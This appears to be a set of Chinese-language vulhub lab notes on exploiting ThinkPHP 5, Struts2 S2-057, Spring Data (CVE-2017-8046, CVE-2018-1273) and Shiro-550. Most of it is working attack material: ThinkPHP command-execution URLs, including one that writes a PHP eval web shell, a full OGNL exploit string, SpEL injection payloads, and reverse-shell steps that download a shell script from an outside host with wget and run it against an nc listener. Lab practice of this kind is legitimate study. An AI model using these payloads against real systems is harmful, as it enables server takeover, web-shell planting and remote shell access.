Thinkphp(TP)
简介
ThinkPHP是为了简化企业级应⽤开发和敏捷WEB应⽤开发⽽诞⽣的,是⼀个快速、兼容⽽ 且简单的轻量级国产PHP开发框架,诞⽣于2006年初,原名FCS,2007年元旦正式更名为 ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴 了国外很多优秀的框架和模式,使⽤⾯向对象的开发结构和MVC模式,融合了Struts的思想和 TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
环境配置
cd vulhub/thinkphp/5-rce
docker-compose up -d
访问靶场http://8.155.7.173:8080/
漏洞利用
漏洞根本源于 thinkphp/library/think/Request.php 中method⽅法可以进⾏变量覆盖,通 过覆盖类的核⼼属性filter导致rce,其攻击点较为多,有些还具有限制条件,另外由于种种部分 原因,在利⽤上会出现⼀些问题
远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\$_POST[123]);?>" > 1.php
struts2
简介
Apache Struts 2 最初被称为 WebWork 2,它是⼀个简洁的、可扩展的框架,可⽤于创建 企业级Java web应⽤程序。设计这个框架是为了从构建、部署、到应⽤程序维护方面来简化整个开发周期
S2-057远程执行代码漏洞
环境搭建
cd vulhub/struts2/s2-057
docker-compose up -d
访问网址http://8.155.7.173:8080/struts2-showcase
在url处输入
/${(123+123)}/actionChain1.action
后刷新可以看到中间数字位置相加了
将上⾯验证payload的值修改为我们的利用exp:
$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23
request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.o
pensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getIns
tance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcl
udedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.cle
ar%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Run
time@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.I
OUtils@toString%28%23a.getInputStream%28%29%29%29%7D
/上面代码/actionChain1.action
Spring
简介
Spring是Java EE编程领域的⼀个轻量级开源框架,该框架由⼀个叫Rod Johnson的程序员 在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各 层的松耦合问题,因此它将⾯向接⼝的编程思想贯穿整个系统应⽤,实现敏捷开发的应⽤型框 架。框架的主要优势之⼀就是其分层架构,分层架构允许使⽤者选择使⽤哪⼀个组件,同时为 J2EE应⽤程序开发提供集成的框架
Spring Data Rest 远程命令执行命令(CVE-2017-8046)
环境搭建
cd vulhub/spring/CVE-2017-8046
docker-compose up -d
访问网址http://8.155.7.173:8081/customers/1, 然后抓取数据包,使⽤PATCH请求来修改
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success 里面的数字是ascii码
返回docker容器查看
docker exec -it 00e460442fd7 /bin/bash
spring 代码执行(CVE-2018-1273)
漏洞简介
Spring Data 是⼀个⽤于简化数据库访问,并⽀持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有⼦项⽬共享的基础框架。Spring Data Commons 在 2.0.5 及 以前版本中,存在⼀处 SpEL 表达式注⼊漏洞,攻击者可以注⼊恶意 SpEL 表达式以执⾏任意命令。
环境搭建
cd vulhub/spring/CVE-2018-1273
docker-compose up -d
漏洞利用
访问网址http://8.155.7.173:8080/users
填写注册信息,bp抓包:
加上 poc :
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/crz")]=&password=&repeatedPassword=
返回docker容器查看
docker exec -it 355d0b013bc5 /bin/bash
ls /tmp
反弹shell
去云服务器网站,写一个反弹shell脚本
靶机下载执行 sh 脚本
/usr/bin/wget -qO /tmp/shell.sh http://8.155.7.173/shell.sh
开启监听
nc -lvvp 8888
执行脚本
/bin/bash /tmp/shell.sh
连接成功
Shiro
简介
ApacheShiro是⼀个强⼤易⽤的Java安全框架 , 提供了认证 、 授 权 、 加 密 和 会 话 管 理 等 功 能 。Sh i r o框架 直 观 、 易⽤ , 同 时 也 能 提 供 健 壮 的 安 全 性 。
Shiro rememberMe反序列化漏洞(Shiro-550)
环境搭建
cd vulhub/shiro/CVE-2016-4437
docker-compose up -d
验证Shiro框架
使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架:
利用工具
先爆破密钥;爆破利用链;执行命令
反弹shell
#开启对外服务
python3 -m http.server 8888
#监听端口
nc -lvvp 6666
#执行命令
wget -O /tmp/shell.sh http://IP/3.sh
/bin/bash /tmp/shell.sh